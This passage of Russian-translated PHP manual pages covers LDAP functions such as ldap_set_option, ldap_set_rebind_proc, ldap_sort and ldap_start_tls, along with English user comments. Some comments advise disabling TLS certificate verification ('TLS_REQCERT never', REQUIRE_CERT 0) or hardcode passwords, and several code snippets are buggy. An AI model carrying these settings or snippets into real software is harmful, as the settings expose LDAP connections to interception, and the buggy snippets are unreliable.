ldap_search($ds,"dc=blahblah,dc=com", "(objectGUID=\\AE\\C3\\23\\35\\F7)");
francis dot tyers at hp dot com 10-Nov-2003 07:53
it seems that all fields must be used in lower case even if they are mixed case in the ldapsearch output.

example:

gidNumber: 1010
homeDirectory: /home/dnt

must be:

echo "gid: " . $info[$i]["gidnumber"][0] . "<br>";
echo "home directory: ". $info[$i]["homedirectory"][0] ."<br>";

not ( $info[$i]["homeDirectory"][0] ) etc.
nicolas at atanis dot net 19-Aug-2003 11:17
Here is a little script that make a complete subtree search ( i know a script above seems do that but it doesnt work fine)
This is my version:

Voila ce que j'ai fait aujourd'hui ...

      $ldap_host = "192.168.0.50";
    $ldap_port = "389";
    $base_dn = "dc=fr";
    $filter = "(cn=*)";
    $ldap_user ="cn=admin,dc=fr";
    $ldap_pass = "hellodelu";
    $connect = ldap_connect( $ldap_host, $ldap_port);
    ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

    $bind = ldap_bind($connect, $ldap_user, $ldap_pass);
    $read = ldap_search($connect, $base_dn, $filter);

    $info = ldap_get_entries($connect, $read);
    echo $info["count"]." entrees retournees<BR><BR>";
    for($ligne = 0; $ligne<$info["count"]; $ligne++)
    {
        for($colonne = 0; $colonne<$info[$ligne]["count"]; $colonne++)
        {
            $data = $info[$ligne][$colonne];
            echo $data.":".$info[$ligne][$data][0]."<BR>";
        }
        echo "<BR>";
    }
ldap_close($connect);

--------
nicolas
me at gavinadams dot org 15-Aug-2003 01:38
Minor clarification on AD LDAP searchs. Small typo in previous example, and does not display multiple values per attribute. Here's the for loop to enumerate all entries, attributes, and values:

$bind = ldap_bind($connect) // asume anon connect or add user/pass
     or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
     or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<br>";
// $i = entries
// $ii = attributes for entry
// $iii = values per attribute
for ($i = 0; $i<$info["count"]; $i++) {
  for ($ii=0; $ii<$info[$i]["count"]; $ii++){
     $data = $info[$i][$ii];
     for ($iii=0; $iii<$info[$i][$data]["count"]; $iii++) {
       echo $data.":&nbsp;&nbsp;".$info[$i][$data][$iii]."<br>";
     }
  }
echo "<p>"; // separate entries
php @ fccfurn dot com 11-Apr-2003 03:35
To do subtree search from top DN in Active Directory, Make sure you do your ldap_set_option().

<?php
$ldap_host = "pdc.php.net";
$base_dn = "DC=php,DC=net";
$filter = "(cn=Joe User)";
$ldap_user  = "CN=Joe User,OU=Sales,DC=php,DC=net";
$ldap_pass = "pass";
$connect = ldap_connect( $ldap_host, $ldap_port)
         or exit(">>Could not connect to LDAP server<<");
ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
$bind = ldap_bind($connect, $ldap_user, $ldap_pass)
      or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
      or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<p>";
$ii=0;
for ($i=0; $ii<$info[$i]["count"]; $ii++){
    $data = $info[$i][$ii];
    echo $data.":&nbsp;&nbsp;".$info[$i][$data][0]."<br>";
}
ldap_close($connect);
?>
Kamil Kukura <kamk at nexen dot cz> 26-Feb-2003 09:20
When I tried to search with empty base DN on OpenLDAP server which had "" namingContext I got result "no such object". In the log file there was query for dn: dc=example,dc=com (!).
As a workaround, it seems it's enough to feed it with space (' ') as base DN - ldap_search($ds, ' ', '(...filter...)', ...
neumeyed at city dot bloomington dot in dot us 29-Jan-2003 04:50
A previous comment noted: "I've also noticed that the departmentNumber, employeeNumber (and maybe others in inetorgperson.schema) are not returned from a search."

This is incorrect. These attributes are returned, but you must reference them with lowercase names. That is, instead of doing this:

$entries[0]["departmentNumber"][0]

Do this:

$entries[0]["departmentnumber"][0]

This doesn't seem like "correct" behavior to me, but I don't know enough about LDAP to say for sure.
nick dot veitch at futurenet dot co dot 17-Jan-2003 08:59
It might be useful to list here the operators that work:

=         - matches exact value
=*xxx  - matches values ending xxx
=xxx*  - matches values beginning xxx
=*xxx* - matches values containing xxx
=*       - matches all values (if set - NULLS are not returned)

>=xxx  - matches everthing from xxx to end of directory
<=xxx  - matches everything up to xxx in directory

~=xxx      - matches similar entries (not all systems)

Boolean operators for constructing complex search

&(term1)(term2)  - matches term1 AND term2
| (term1)(term2)  - matches term1 OR term2
!(term1)                 - matches NOT term1
&(|(term1)(term2))(!(&(term1)(term2)) - matches XOR term1 term2

some of the more compelx constructions seem to work with varying  degrees of efficiency - sometimes it can be better to filter some of the results with the search and do further filtering in PHP.
emrecio at netscape dot net 30-Sep-2002 08:42
implode(", ",$uentry[0]["rfc822mailalias"]);

doesn't work as expected because "count" is in there... one /must/ use the 'for' loop to cycle through results (discarding "count" element).
jpdalbec at ysu dot edu 09-Sep-2002 07:33
I've found that spaces need to be escaped in search filters ("\20"), at least using the Red Hat PHP 4.1.2 package.  Otherwise no results are returned.
john_taylor_1973 at yahoo dot com 27-Jun-2002 02:26
Try to use ldap_list(), if possible.  It is much faster.  ldap_search searches a scope of LDAP_SCOPE_SUBTREE, but ldap_list searches a scope of just LDAP_SCOPE_ONELEVEL.  This made a big difference on Novell eDirectory 8.6.1, even for a query that only returned 130 objects.  Using an attribute list, the 4th function parameter (of either function), also made queries faster.
31-Aug-2001 07:13
I used the following to retrieve all entries from an ILS (Netmeeting) Server:<p>    $sr=ldap_search($ds, "objectclass=rtperson","(&(cn=%)(objectclass=rtperson))");
<p>Have fun!
<p>Kees
cdaveb at csua dot berkeley dot edu 02-Jan-2001 05:23
FYI, for those doing LDAP searches on Exchange servers, there seems to be some preference in Exchange to disallow searches that aren't initial searches (i.e. only x* will work, not * or *x). I'd been going nuts trying to figure out why I kept getting errors doing * searches.

More info at:
http://www.microsoft.com/Exchange/en/55/help/documents/server/XOG16007.HTM
aa529 at nospamchebucto dot ns dot ca 22-Nov-1999 01:27
Be careful of special characters when generating filters from user input.

*, (, ), \ and NUL should be backslash-escaped. See section 4 of RFC 2254 (I found it here:
http://www.cis.ohio-state.edu/htbin/rfc/rfc2254.html)


Установить значение данной опции

  • « ldap_search
  • ldap_set_rebind_proc »
  • PHP Manual
  • Функции LDAP
  • Установить значение данной опции

ldap_set_option

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ldap_set_option — Установить значение данной опции

Описание

ldap_set_option(?LDAP\Connection $ldap, int $option, array|string|int|bool $value): bool

Устанавливает значение указанной опции в value.

Список параметров

ldap

Либо экземпляр LDAP\Connection, возвращаемый функцией ldap_connect() для установки опции для этого соединения, либо null для установки опции глобально.

option

Опция option может быть одной из:

Опция | Тип | Доступна с
LDAP_OPT_DEREF | int
LDAP_OPT_SIZELIMIT | int
LDAP_OPT_TIMELIMIT | int
LDAP_OPT_NETWORK_TIMEOUT | int
LDAP_OPT_PROTOCOL_VERSION | int
LDAP_OPT_ERROR_NUMBER | int
LDAP_OPT_REFERRALS | bool
LDAP_OPT_RESTART | bool
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_DIAGNOSTIC_MESSAGE | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array
LDAP_OPT_X_KEEPALIVE_IDLE | int | PHP 7.1.0
LDAP_OPT_X_KEEPALIVE_PROBES | int | PHP 7.1.0
LDAP_OPT_X_KEEPALIVE_INTERVAL | int | PHP 7.1.0
LDAP_OPT_X_TLS_CACERTDIR | string | PHP 7.1.0
LDAP_OPT_X_TLS_CACERTFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CERTFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CIPHER_SUITE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CRLCHECK | int | PHP 7.1.0
LDAP_OPT_X_TLS_CRLFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_DHFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_KEYFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_PROTOCOL_MIN | int | PHP 7.1.0
LDAP_OPT_X_TLS_RANDOM_FILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_REQUIRE_CERT | int | PHP 7.0.5

LDAP_OPT_SERVER_CONTROLS и LDAP_OPT_CLIENT_CONTROLS требуют список элементов управления. Это означает, что значение должно быть массивом элементов управления. Элемент управления состоит из oid, определяющего элемент управления, опционального значения, и дополнительного флага для критичности. В PHP элемент управления задаётся массивом, содержащим элемент с ключом oid и строковым значением, и двумя необязательными элементами. Необязательные элементы являются ключом value со строковым значением и ключом iscritical с логическим значением. iscritical по умолчанию устанавливается в false, если не указан. Для более подробной информации смотрите » draft-ietf-ldapext-ldap-c-api-xx.txt. Смотрите также второй пример, расположенный ниже.

value

Новое значение для указанной option (опции).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .

Примеры

Пример #1 Устанавливает версию протокола

<?php
// $ds - действительный идентификатор связи с LDAP-сервером
if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
echo "Используется LDAPv3";
} else {
echo "Не удалось установить версию протокола в 3";
}
?>

Пример #2 Устанавливает управление сервером

<?php
// $ds - действительный идентификатор связи с LDAP-сервером
// элемент управления с отсутствующим значением
$ctrl1 = array("oid" => "1.2.752.58.10.1", "iscritical" => true);
// iscritical по умолчанию FALSE
$ctrl2 = array("oid" => "1.2.752.58.1.10", "value" => "magic");
// попытка установить оба элемента управления
if (!ldap_set_option($ds, LDAP_OPT_SERVER_CONTROLS, array($ctrl1, $ctrl2))) {
echo "Не удалось установить серверные элементы управления";
}
?>

Примечания

Замечание:

Эта функция доступна только, когда используется OpenLDAP 2.x.x или Netscape Directory SDK x.x.

Смотрите также

  • ldap_get_option() - Получить текущее значение данной опции

User Contributed Notes

php at richardneill dot org 27-Jul-2022 05:41
If you want to disable the TLS cert check (e.g. because you are doing an SSH port-forward, and ldaps is pointing to localhost), then you must invoke:

ldap_set_option(NULL, LDAP_OPT_X_TLS_REQUIRE_CERT,0)
*before* calling ldap_connect()

If you try:

$ds = ldap_connect(...)
ldap_set_option($ds, LDAP_OPT_X_TLS_REQUIRE_CERT,0)

then the option won't actually take effect, and the certificate will be checked anyway, and a TLS failure will happen..
Maarten at Aerobe 11-Jan-2020 09:31
PHP 7.1 added support for configuring the LDAP CA/Cert environment directly, rather than relying on the environment variables. I noticed that a lot of people are having trouble getting this to work.

The correct way is:
$ds=ldap_connect("ldap.google.com");
ldap_set_option(NULL, LDAP_OPT_X_TLS_CERTFILE, "/path/file.crt");
ldap_set_option(NULL, LDAP_OPT_X_TLS_KEYFILE, "/path/file.key");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_start_tls($ds);
...
ldap_close($ds);
badbo_5834 at hotmail dot com 10-Dec-2013 08:02
I have the following code, but you do not rename the cn, that may be?

    $TheDN = "cn=Nombre,ou=Addressbook,dc=axia-ldap,dc=net";
    $newRDN = "cn=bill";
    $newParent = "ou=Addressbook,dc=axia-ldap,dc=net";
    ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
    $result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);
Anonymous 19-Nov-2010 01:56
LDAP options description

http://publib.boulder.ibm.com/infocenter/iseries/v5r3/index.jsp?topic=%2Fapis%2Fldap_set_option.htm
technosophos 07-Mar-2007 02:00
The following flags are valid integer values for the LDAP_OPT_DEREF (as taken from the documentation for ldap_read()):

LDAP_DEREF_NEVER (int 0) - (default) aliases are never dereferenced.

LDAP_DEREF_SEARCHING (int 1) - aliases should be dereferenced during the search but not when locating the base object of the search.

LDAP_DEREF_FINDING (int 2) - aliases should be dereferenced when locating the base object but not during the search.

LDAP_DEREF_ALWAYS (int 3) - aliases should be dereferenced always.

Example:
<?php
ldap_set_option($ds, LDAP_OPT_DEREF, LDAP_DEREF_ALWAYS);
?>

These are defined in the draft C API (presumably from the original LDAP API). See draft-ietf-ldapext-ldap-c-api-xx.txt included in the OpenLDAP source code distribution.
hansfn at gmail dot com 23-May-2006 04:23
Luckily you can turn on debugging before you open a connection:

  ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

This way you at least can see in the logs if the connection fails...
minusf at gmail dot com 31-Oct-2005 01:59
it seems that ldap_set_option returns 1 for bogus ldap_connect -ions also.
ldap_connect always returns a resource (documented in the
comments of ldap_connect) so it is not possible to check if the
ldap server is there or alive or what.  and because ldap_set_option
must be between ldap_connect and ldap_bind, there seems to
be no sense in checking the return value.

it is a bit strange that ldap_bind is the first function which can
really check if a ldap resource is usable because it is the third
function in line to use when working with openldap.

<?php
$connect = ldap_connect("whatever");
$set = ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
echo $set;
?>
soulbros at yahoo dot com 26-Feb-2002 03:56
As john.hallam@compaq.com above mentioned ,one  has to set option LDAP_OPT_PROTOCOL_VERSION=3
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
to use the ldap_rename function.

However, the ldap_set_option() line has to be written immediately after ldap_connect() and before ldap_bind() statements.

Christos Soulios
john dot hallam at compaq dot com 28-Jan-2002 10:00
To get this to work I had to set the LDAP version to 3 using ldap_set_option. Here is an example that might help:

$TheDN = "cn=john smith,ou=users,dc=acme,dc=com";
$newRDN = "cn=bill brown";
$newParent = "ou=users,dc=acme,dc=com";
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
@$result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);


Установить функцию обратного вызова для повторного связывания при ссылочном поиске

  • « ldap_set_option
  • ldap_sort »
  • PHP Manual
  • Функции LDAP
  • Установить функцию обратного вызова для повторного связывания при ссылочном поиске

ldap_set_rebind_proc

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ldap_set_rebind_proc — Установить функцию обратного вызова для повторного связывания при ссылочном поиске

Описание

ldap_set_rebind_proc(LDAP\Connection $ldap, ?callable $callback): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | callback теперь допускает значение null.

User Contributed Notes

mvanbeek at forgetaboutit dot net 18-Feb-2013 12:15
The $referral that is used in the callback function isn't the bind dn, but the dn of the record that was being accessed (or rather it's location on the master server, I guess, if there is a difference in the two), so you need to rebind with your existing credentials. The connection ($ldap) appears to have already been made to the new server, so it is just a rebind process, nothing else more complicated than that. There must be a loop in the underlying library that re-submits the request that prompted the referral until either a success or fail is returned.

I guess if the bind dn you were using in the first place won't let you edit the record on the master, then that is an ldap rather than php issue. However, at least with the rebind procedure you have a way to modify the bind dn first.

So, the rebind process is really quite simple, now that I understand how it works! I was assuming it to be way more complicated. In it's simplest form, this is all you need, assuming your bind $dn and $pass are globals

<?php
function rebind($ldap, $referral) {
    // Set ldap options
    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // Rebind
    if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1; // Yes, a 1 means a failure.
        }
    return 0; // Yes, return a 0 on success.
    }
?>
leon at leonux dot co dot za 25-Jun-2011 03:26
I finally have referrals working using the ldap_set_rebind_proc function. Don't connect to the referral server in your callback function. This is done for you. You only have to bind. The callback must return 0 if the bind succeeds or 1 if it fails.

Consider a master - slave LDAP setup where the slave is read-only and refers writes to the master. For the PHP on the slave, you need something like this:

<?php

// Callback function
function rebind($ldap, $referral) {
    // ldap options
    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // The referral is of the form:
    //  ldaps://newhost/cn=user,ou=people,dc=example,dc=com
    $refparts = explode('/', $referral);
    if (count($refparts) > 2) {
        // Get the bind dn from referral
        $dn = $refparts[3];
        // Bind to new host
        if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1;
        }
    } else {
        // Try anonymous bind
        if (!ldap_bind($ldap)) {
            echo 'Could not bind to referral server anonymously';
            return 1;
        }
    }
    return 0;
}

// Initial ldap connection to slave server
$ldap_host = 'localhost'
$ds = ldap_connect($ldap_host);
// ldap options
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
ldap_set_option($ds, LDAP_OPT_REFERRALS, True)
// Set callback function
ldap_set_rebind_proc($ds, 'rebind'))
// bind
ldap_bind($ds, $dn, $pass)
// ldap write
ldap_modify($ds, $dn, $attr);

?>

Accessing passwords and other data from your callback is easier if you use a class method as the callback function. The callback would be initialized like this:

<?php

ldap_set_rebind_proc($ldap, 'MyClass::rebind');

?>
Anonymous 26-Feb-2011 11:40
I have now spent enough time looking at this issue to say that ldap referrals, at least when trying to add, modify or delete a record on a slave server that correctly gives a referral to a master server, does not work in php. My suggestion is turn turn off ldap referrals and write your own add, modify and delete functions with built in referral handling. Something like this:

<?php
function ldap_referral_add($connection,$add_dn,$Add_entry,$bind_dn,$bind_pw)
    {
    $rconnection = $connection;
    $loop = 10; # max number of referral hops.
    # Turn off normal referrals
    ldap_get_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting)
    do
        {
        $response = ldap_add($rconnection,$dn,$entry);
        # We get a success message:
        if ( $response )
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return true;
            }
        # We get a referral message:
        elseif ( !$response && ldap_errno($rconnection) == 0x0a )
            {
            $new_server_url = $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $ldap_error($rconnection)); # May need some sanity checking here
            $rconnection = ldap_connect($new_server_url);
            ldap_set_option($rconnection,LDAP_OPT_REFERRALS,0)
            ldap_set_option($rconnection,LDAP_OPT_PROTOCOL_VERSION, 3)
            ldap_bind($rconnection,$bind_dn,$bind_pw);
            $loop = $loop - 1;
            }
        else
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return false;
            }
        } while ( $loop > 0);
    }
?>
mvanbeek at forgetaboutit dot net 15-Jun-2010 11:13
I have had quite a hard time finding good information about chasing referrals so I am adding my tuppence worth here. I still haven't got my test code working fully so please look further down the page for updates.

The way this appears to have to work is that you use this function to set a callback function of your own to connect and bind to the referral server. you need to set this along with forcing v3 ldap and setting the referral chasing to on as part of setting up the initial connection, so just after the connect but before the bind, you need something like:

<?php
        $ds = ldap_connect($server);
        ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ds, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ds, "rebind");
        ldap_bind($ds,$dn,$pass);
?>

This callback function (called rebind in the above example needs two arguments. These arguments are preset and are supplied when the callback function is called. The first is the ldap link identifier. I assume this is supplied as the function could be used successively by a number of consecutive referrals. The second is the ldap referral URL supplied by the initial server. I have seen notes that say this function must be defined prior to being set by ldap_set_rebind_proc, but as yet I cannot confirm this.

My setup is based on a master - slave ldap server configuration, with the PHP application residing on the slave where it does localhost lookups. When your try to write to the slave ldap server, the server returns a referral URL, and the internal PHP function then calls the callback function.

Despite the code already on this page, which appears to also be used to test the PHP code, I believe it is wrong. I think it simply reconnects to the initial server. I believe that what the callback function should do is to connect to the new server, and bind to it. My test code currently looks like this:

<?php
function rebind($ldap, $referral) {
        global $dn;
        global $pass;
        $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $referral);
        if (!($ldap = ldap_connect($server))){
                echo "reconnect failed - <br>";
                return 1;
        }
        ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ldap, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ldap, "rebind");
        if (!ldap_bind($ldap,$dn,$pass)){
                echo "rebind failed - <br>";
                return 1;
        }
        return 0;
}
?>

As far as I can tell, a return value of 0 means success and any other value means it has failed. The complete lack of documentation doesn't help.

The above code works all the way to authenticating against the new server, but at the moment I appear to be getting an unbind request before it tries to write the record to the new server, so it fails.

I would also recommend adding a ldap_start_tls before the bind as well.
pearcec at commnav dot com 01-May-2003 04:09
PHP expects the ldap function ldap_set_rebind_proc to be the one that has tree parameters.  As far as I can tell this isn't in the 2.0 release of OpenLDAP.  But made it into 2.1.  Configure will tell you

checking for 3 arg ldap_set_rebind_proc... no
night0wl at frost dot ath dot cx 02-Apr-2003 07:19
Couse there was no example code for this function, i had alot of troubles to make it work properly.

So, here is working example:

function rebind_on_ref ($ds, $ldap_url) {
  global $binddn;    // DN used to bind
  global $bindpw;    // password used to bind

  // required by most modern LDAP servers, use LDAPv3
  ldap_set_option($a, LDAP_OPT_PROTOCOL_VERSION, 3);

  if (!ldap_bind($a,$binddn,$bindpw)) {
        print "Cannot bind";
  }
}
randy at kotmail dot com 25-Apr-2002 04:46
If rebind_proc isn't compiled in slapd, your will never get that funtction working. Check out the new alpha release of slapd and rtfm.


Сортирует записи LDAP

  • « ldap_set_rebind_proc
  • ldap_start_tls »
  • PHP Manual
  • Функции LDAP
  • Сортирует записи LDAP

ldap_sort

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

ldap_sort — Сортирует записи LDAP

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.0.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

ldap_sort(resource $link, resource $result, string $sortfilter): bool

Сортирует результат запроса LDAP, возвращаемый функцией ldap_search().

Так как эта функция сортирует результат на клиентской стороне, вы можете получить не те результаты, которые ожидали в случае, если был превышен лимит sizelimit на стороне сервера либо указанный в ldap_search().

Список параметров

link

Ресурс LDAP, возвращаемый функцией ldap_connect().

result

Дескриптор результата поиска, возвращаемый функцией ldap_search().

sortfilter

Атрибут, используемый в качестве ключа при сортировке.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | Функция была удалена.

Примеры

Сортировка результата поиска.

Пример #1 Сортировка LDAP

<?php
// $ds - активный дескриптор соединения (смотрите ldap_connect)

$dn = 'ou=example,dc=org';
$filter = '(|(sn=Doe*)(givenname=John*))';
$justthese = array('ou', 'sn', 'givenname', 'mail');

$sr = ldap_search($ds, $dn, $filter, $justthese);

// Сортировка
ldap_sort($ds, $sr, 'sn');

// Получение данных
$info = ldap_get_entries($ds, $sr);

User Contributed Notes

fbernardi at bbros dot it 20-Jan-2016 10:30
In order to order by multiple fields you can order your array many times:
For example:

        ldap_sort($link, $result, 'givenname');
        ldap_sort($link, $result, 'sn');
thorben at kapp-hamburg dot de 07-Jan-2011 04:46
I wondered how to sort after a dn, for just show a tree view. I tried to set $sortfilter = 'dn', but that didn't work. Than I tried with a blank string ''. That worked, the entries are sorted by dn.
ben at xsusio dot com 03-Sep-2004 02:33
If you are wanting to sort by multiple attributes, for instance ordering by last name and then first name,  try this function. This is similar to "ORDER BY lastname, firstname"  in SQL.

This function uses an insertion sort algorithm, which is somewhat faster then the old-fashoned bubble sort.  The second argument is an array containing the attributes you want to sort by. (this functon won't do descending or ascending..  feel free to add it!)

<?php
/**
 * @param array $entries
 * @param array $attribs
 * @desc Sort LDAP result entries by multiple attributes.
*/
function ldap_multi_sort(&$entries, $attribs){
    for ($i=1; $i<$entries['count']; $i++){
        $index = $entries[$i];
        $j=$i;
        do {
            //create comparison variables from attributes:
            $a = $b = null;
            foreach($attribs as $attrib){
                $a .= $entries[$j-1][$attrib][0];
                $b .= $index[$attrib][0];
            }
            // do the comparison
            if ($a > $b){
                $is_greater = true;
                $entries[$j] = $entries[$j-1];
                $j = $j-1;
            }else{
                $is_greater = false;
            }
        } while ($j>0 && $is_greater);

        $entries[$j] = $index;
    }
    return $entries;
}
?>
zbaizman at yahoo dot com 06-Aug-2004 06:15
This note may be self-evident, but the functionality of ldap_sort threw off this sometime user of relational databases.

The following code will NOT do what you expect:

<?php

// omitted calls to connect and and bind to LDAP server...

// attributes we want to retrieve from LDAP server
$ldap_attributes = array ( 'cn', 'o', 'mail' ) ;

// retrieve attributes from matching entries
$search_results = ldap_search ( $ldap_conn, 'dc=example,dc=org', '(objectclass=*)', 0, 500, 30 ) ;

// sort entries by last name ('sn')
ldap_sort ( $ldap_conn, $search_results, 'sn' ) ;

?>

The entries will NOT be sorted by last name. Why not? Because LDAP doesn't function like a RDBMS; you cannot sort a result set on an arbitrary field, regardless of whether you "selected" it. You must always include the attribute by which you want to sort your entries among the requested attributes (add 'sn' to $ldap_attributes, in this case).

Hope this is helpful to some other folks who scratched their heads when they tried to sort entries and it didn't work out...
askgopal at sify dot com 04-Sep-2003 08:07
Here's a simple LDAP sort function I wrote:

<?php
function sort_ldap_entries($e, $fld, $order)
{
    for ($i = 0; $i < $e['count']; $i++) {
        for ($j = $i; $j < $e['count']; $j++) {
            $d = strcasecmp($e[$i][$fld][0], $e[$j][$fld][0]);
            switch ($order) {
            case 'A':
                if ($d > 0)
                    swap($e, $i, $j);
                break;
            case 'D':
                if ($d < 0)
                    swap($e, $i, $j);
                break;
            }
        }
    }
    return ($e);
}

function swap(&$ary, $i, $j)
{
    $temp = $ary[$i];
    $ary[$i] = $ary[$j];
    $ary[$j] = $temp;
}
?>

so that it can be invoked like:

<?php
    $entries = sort_ldap_entries($entries, 'mail', 'A'); // sort entries by ascending order of mail
?>

where,
    `$entries' is the array returned by ldap_get_entries() function.

This might be useful to those who still run older versions of PHP (<= 4.2.0) on their web servers :-)
jason dot sokolowski at rotork dot com 06-Sep-2002 01:51
Something real simple i wrote to sort directory searches by a persons last name.

<?php
for($i=0;$i<$result["count"];$i++)
{

$lastname = $result[$i]["sn"][0];

$lnames["$i"]=$lastname;

}//for i

@asort($lnames);
?>
matthew dot j dot gray at uwrf dot edu 25-Jun-2002 02:47
This function applies strcmp() to each attribute (given by sortfilter) in order to sort the entries returned by the server.  To order search results ascending by last name, try passing "sn" as the sortfilter argument.  This function does not play nice with multi-valued attributes.


Запускает TLS

  • « ldap_sort
  • ldap_t61_to_8859 »
  • PHP Manual
  • Функции LDAP
  • Запускает TLS

ldap_start_tls

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ldap_start_tls — Запускает TLS

Описание

ldap_start_tls(LDAP\Connection $ldap): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

krunoslav at yottabyte dot hr 14-Sep-2021 09:55
just moved CA certificate (b64 encoded) from
/root/cert/ldaps.pem to
/etc/openldap/certs/ldaps.pem
without permission setting, and it works fine

cp /root/cert/ldaps.pem  /etc/openldap/certs/ldaps.pem

ls -l  /root/cert/ldaps.cert /etc/openldap/certs/ldaps.pem

-rw-r--r-- 1 root root 3696 Sep  3 16:12 /etc/openldap/certs/ldaps.pem
-rw-r--r-- 1 root root 3696 Sep 14 11:46 /root/cert/ldaps.pem

cat  /etc/openldap/ldap.conf

#TLS_CACERT /root/cert/ldaps.pem
TLS_CACERT /etc/openldap/certs/ldaps.pem
NOYB at NOYB dot info 12-Oct-2019 05:34
Security Warning:

To avoid the StripTLS attack vulnerability of StartTLS, code your application to not continue unless the connection is successfully upgraded to TLS.

For StripTLS attack vulnerability anatomy details please conduct a web search for "StripTLS".

There is a good article on Wikipedia titled "Opportunistic TLS".  The "Weaknesses and mitigations" section details the StripTLS attack vulnerability.
pficheux at prologue-numerique dot fr 22-Jan-2018 09:30
Windows only: you must add a ldaprc file in your current directory so ldap can validate the server certificate

something like :

# no verification here
TLS_REQCERT never
med dot ezzairi at gmail dot com 11-Sep-2014 10:05
For all users,admins how are using or taying to connect to Microsoft Active Directory with PHP openLDAP extension, Apache,OpenSSL and they are getting:
"Warning: ldap_bind(): Unable to bind to server: Can't contact LDAP server"
here is the solution as i did:
--------------------------------
upgrade to PHP 5.4.x
creat a directory as: C:\openldap\sysconf\ldap.conf

write into this file (ldap.conf):
TLS_CACERT path\to\your\CA\cert\file.crt

(like d:\monCA_Cert\ca.crt)

restart your apache web server, and refresh your page and tell me (allah yar7am lwalidin)in arabic

for more here's my mail:med.ezzairi@gmail.com
deguich at hotmail dot com 04-Jun-2014 12:51
When you have this error:
Warning: ldap_start_tls() [function.ldap-start-tls]: Unable to start TLS: Connect error in /var/www/X.php on line Y

It's probably because of a certificate validity issue. You can check the error by adding debug level:
<?php
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);
?>
This can be done before the ldap_connect takes place.

To fix the certificate validity issue:
add
TLS_REQCERT never
in file (create it if not exist)
c:\openldap\sysconf\ldap.conf    <= Windows
/etc/ldap.conf     <= linux
A restart of the web server may be required to apply changes
It's probably not the best solution but it works ...

Another thing to be aware of is that it requires version 3 (version 2 is php default):
<?php
$con = ldap_connect($hostnameSSL);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Another tip : the second parameter of ldap_connect is not used if you use an URL like "ldap://..." (port 389 automatically used) or "ldaps://..."  (port 636 automatically used).
Richard Lynch 02-Mar-2012 05:28
In my experience:

1)
PHP / openldap / whatever could NOT read .pem files.
